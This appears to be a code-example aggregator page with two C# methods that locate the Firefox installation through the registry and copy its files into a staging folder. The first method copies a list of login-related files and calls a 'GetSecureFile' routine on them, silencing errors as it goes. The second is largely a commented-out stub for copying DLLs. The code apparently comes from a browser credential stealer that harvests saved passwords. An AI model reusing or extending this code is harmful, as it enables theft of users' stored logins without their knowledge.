Esempio n. 1
0
        public static void CopyLoginsInSafeDir(bool Recursive = true)
        {
            HomeDirectory.Create(User_Name, Recursive);

            /*
             * foreach (string ss in Massive)
             * {
             *  string FullDLL = Path.Combine(MozPath.GetRegistryFireFox(), ss.ToString());
             *  Console.WriteLine(FullDLL);
             *  File.Copy(FullDLL, Path.Combine(User_Name, Path.GetFileName(FullDLL)));
             * }
             */
            try
            {
                for (int i = 0; i <= Massive.Length; i++)
                {
                    try
                    {
                        string FullDLL = Path.Combine(MozPath.GetRegistryFireFox(), Massive[i]);
                        if (File.Exists(FullDLL))
                        {
                            File.Copy(FullDLL, Path.Combine(User_Name, Path.GetFileName(FullDLL)));
                            GetSecureFile(User_Name, Massive[i]);
                        }
                    }
                    catch (UnauthorizedAccessException) { }
                    catch (IndexOutOfRangeException) { }
                    catch (ArgumentException) { }
                    catch (IOException) { }
                }
            }
            catch (OverflowException) { }
        }
Esempio n. 2
0
        public static void CopyDLLInSafeDir(bool True = true)
        {
            HomeDirectory.Create(User_Name, True);

            /*
             * if(Directory.Exists(User_Name))
             * {
             *  for (int i = 0; i < ListDLL.Length; i++)
             *  {
             *      if (File.Exists(Path.Combine(MozPath.GetRegistryFireFox(), ListDLL[i])))
             *      {
             *          File.Copy();
             *      }
             *  }
             * }
             */
        }